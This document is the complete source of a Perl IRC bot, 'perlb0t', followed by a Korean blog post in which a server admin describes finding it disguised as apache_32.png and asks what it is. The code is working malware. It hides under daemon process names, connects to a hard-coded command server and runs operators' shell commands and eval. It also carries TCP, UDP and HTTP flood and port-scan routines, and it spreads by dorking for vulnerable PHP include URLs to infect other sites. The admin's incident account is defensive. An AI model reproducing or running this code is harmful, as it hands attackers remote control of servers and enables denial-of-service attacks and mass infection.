#!/usr/bin/perl
my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x");

my @titi = ("index.php?page=","main.php?page=");

my $goni = $titi[rand scalar @titi];

my $linas_max='3';
my $sleep='7';
my @adms=("e" );
my @hostauth=("e","local");
my @canais=("#e");
chop (my $nick = `uname`);
my $ircname =("k");
my $realname = ("z");
my $servidor='151.236.221.43';
my $porta='80';
my $VERSAO = '0.5';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/tmp");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
       }
       if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
    }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick|".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}


sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
             my (@aberta, %porta_banner);
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found");
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
         my $itime = time;
         my ($cur_time);
             $cur_time = time - $itime;
         while ($3>$cur_time){
             $cur_time = time - $itime;
         &tcpflooder("$1","$2","$3");
             }
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack done ".$1.":".$2.".");
           }
       if ($funcarg =~ /^version/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 perlb0t ver ".$VERSAO);
        }
           if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched mambo for ".$1." seconds.");
         srand;
         my $itime = time;
         my ($cur_time);
         my ($exploited);
         $boturl=$2;
             $cur_time = time - $itime;$exploited = 0;
        while($1>$cur_time){
            $cur_time = time - $itime;
            @urls=fetch();
            foreach $url (@urls) {
            $cur_time = time - $itime;
            my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;

            $url =$path."/$goni$boturl" ;




            $page = http_query($url);
            $exploited = $exploited + 1;
            }
        }
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Exploited ".$exploited." boxes in ".$1." seconds.");
           }
           if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking ".$1.":80 for ".$2." seconds.");
         my $itime = time;
         my ($cur_time);
             $cur_time = time - $itime;
         while ($2>$cur_time){
             $cur_time = time - $itime;
         my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
         close($socket);
             }
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking done ".$1.".");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
           }
           exit;
       }
  }
}

sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   }

if ($case =~ /^refresh (.*)/) {
my $goni = $titi[rand scalar @titi];
 }

   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}

sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp');
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}

sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

# Spreader
# this 'spreader' code isnot mine, i dont know who coded it.
# update: well, i just fix0red this shit a bit.
#

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(5)) * $n);

my @dominios = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
        "py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
        "af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
        "vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
        "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
        "iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
        "ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
        "na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",
        "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
        "vu","vn","ye","yu","cd","zm","zw","");
my @str;

foreach $dom  (@dominios)
{
    push (@str,"allinurl:%22".$dom."/".$goni."%22");
}

    my $query="www.google.com/search?q=";
    $query.=$str[(rand(scalar(@str)))];
    $query.="&num=$n&start=$s";


    my @lst=();
    my $page = http_query($query);
    while ($page =~  m/\"]+)\"?>/g){
    if ($1 !~ m/google|cache|translate/){
        push (@lst,$1);
    }
    }
    return (@lst);
}


sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;

    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
    local $SIG{ALRM} = sub { die "1";};
    alarm 10;
    my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
    print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
    my @r = <$sock>;
    $page="@r";
    alarm 0;
    close($sock);
    };
    return $page;

}

누가 이 파일 해석 좀...
길게 말고 한 문장으로...^^

logwatch에 오신 특별한 메시지.

커널 warning 이 나타나니 동공이 확대되기 시작.
멀쩡한 서버가 웬 out of memory.

이런 저런 로그들을 확인하다가 apache log에서 이상한 또 하나의 로그 발견.

아이 참... 이런거 하지 말라니깐... 이게 머지 대체...
test 계정으로 로그인을 해서 apache_32.png 파일을 가져오다? 어케 ftp로 여다가 파일을 옮김?
근데 no such file or directory 는 또 머야.

일단 검색.

오마이갓. 세션들어가는 자리에 저것이...
분명 네놈은 png가 아니겠지.

역시 한놈이 아니구만.
근데 왜 서버가 잘 돌아가고 있는 것처럼 보이지.
떨리는 마음으로 apache_32.png 파일을 열어 봅니다.

응 perl? 혹시 이놈 때문에 out of memory 가 난건가.
irc_server, port_scan, http_query 이런것들이 보이는데... 근데 왜 서버가 잘 돌아가는 것처럼 보이냐고.
도대체 이건 무슨 공격이지? 안배운 공격인데... DDoS야? 좀비된거야?

a 파일에는 apache_32.png 를 curl로 가져온 흔적이 남아있고.
pos, vuln 파일에는 디렉토리 스캔한 흔적이 남아있고...

뭔짓을 한지는 모르겠지만 내가 할 수 있는건,
권한변경... perl, curl, wget, rm, mv, cp 권한 변경.

이걸로 되겠냐... 이게 최상이냐...
공용 서버라 책임질 필요는 없지만...
무서워서 못살겠다 ㅜㅜ